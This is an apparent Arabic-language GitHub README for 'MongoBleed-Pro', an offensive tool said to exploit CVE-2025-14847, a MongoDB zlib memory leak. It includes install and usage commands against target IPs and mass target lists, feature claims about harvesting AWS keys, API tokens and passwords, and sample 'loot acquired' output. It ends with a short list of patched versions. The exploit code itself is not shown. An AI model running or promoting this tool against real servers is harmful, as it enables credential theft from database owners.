MongoBleed-Pro ☠️

أداة استغلال متقدمة لتسريب الذاكرة في MongoDB
واصل التعلم | واصل الاختراق مع CyberTechAjju

🔥 نبذة

MongoBleed-Pro هي أداة استغلال متقدمة لثغرة CVE-2025-14847، وهي ثغرة حرجة لكشف الذاكرة في معالجة ضغط zlib في MongoDB. تتيح هذه الأداة لباحثي الأمن استخراج البيانات الحساسة من خوادم MongoDB المتأثرة.

⚠️ إخلاء مسؤولية

هذه الأداة مخصصة لاختبارات الأمن المصرح بها والأغراض التعليمية فقط. الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني. احرص دائمًا على الحصول على التصريح المناسب قبل الاختبار.

💀 تفاصيل الثغرة

🚀 الميزات

• ☠️ واجهة بأسلوب الهاكر - واجهة طرفية احترافية مع رسوم متحركة
• ⚡ فحص متعدد الخيوط - استخراج سريع للذاكرة مع خيوط قابلة للضبط
• 🎯 اكتشاف تلقائي للثغرات - فحص تلقائي للثغرة قبل الاستغلال
• 🔑 اكتشاف الأنماط السرية - يكتشف مفاتيح AWS ورموز API وكلمات المرور وعناوين البريد الإلكتروني
• 📊 تقدّم في الوقت الفعلي - عرض مباشر لتسريب الذاكرة
• 💾 تصدير البيانات - يحفظ البيانات المستخرجة في ملفات للتحليل
• 🌐 فحص جماعي - فحص أهداف متعددة من ملف

📦 التثبيت

# Clone the repository
git clone https://github.com/cybertechajju/CVE-2025-14847_Expolit.git
cd CVE-2025-14847_Expolit

# Install dependencies
pip install -r requirements.txt

🎮 الاستخدام

الاستخدام الأساسي

python3 mongobleed_pro.py

استهداف مضيف محدد

python3 mongobleed_pro.py --target 192.168.1.100

منفذ مخصص

python3 mongobleed_pro.py --target 192.168.1.100:27018

الفحص الجماعي

python3 mongobleed_pro.py --file targets.txt

خيارات متقدمة

python3 mongobleed_pro.py --target 192.168.1.100 --threads 100 --min-offset 100 --max-offset 20000

جميع الخيارات

📸 لقطات الشاشة

╔══════════════════════════════════════════════════════════════╗
║  💀 INITIATING MEMORY EXTRACTION SEQUENCE 💀                 ║
╚══════════════════════════════════════════════════════════════╝

⚡ Target Acquired: 192.168.1.100:27017
   ✓ Port OPEN
   ☠️  VULNERABLE! Initiating attack...

  ◉ 0x0E31 │ nr_inactive_anon 134420\nnr_active_anon 110832...
  ☠️  LOOT ACQUIRED: 🔐 Password
      → admin_pass=SuperSecret123

╔══════════════════ EXTRACTION COMPLETE ══════════════════╗
║  💾 Bytes Extracted: 125,847
║  📦 Unique Fragments: 342
║  🔑 Secrets Found: 5
╚══════════════════════════════════════════════════════════╝

🔑 أنواع الأسرار المكتشفة

• 🔑 مفاتيح وصول AWS (AKIA...)
• 🤖 مفاتيح OpenAI API (sk-...)
• 🐙 رموز GitHub (ghp_...)
• 🔐 كلمات المرور والأسرار
• 📧 عناوين البريد الإلكتروني

📁 ملفات المخرجات

🛡️ إجراءات التخفيف

إذا كنت مسؤولًا عن MongoDB، فقم بالتحديث إلى الإصدارات المصححة:

• MongoDB 8.0.10+
• MongoDB 7.3.6+
• MongoDB 7.0.19+
• MongoDB 6.0.23+

👤 المؤلف

CyberTechAjju

• 🐦 تويتر: @CyberTechAjju

📜 الترخيص

هذا المشروع مرخّص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.

⭐ الدعم

إذا وجدت هذه الأداة مفيدة، فيرجى منحها ⭐ على GitHub!

「 واصل التعلم | واصل الاختراق 」
صُنع بـ ❤️ بواسطة CyberTechAjju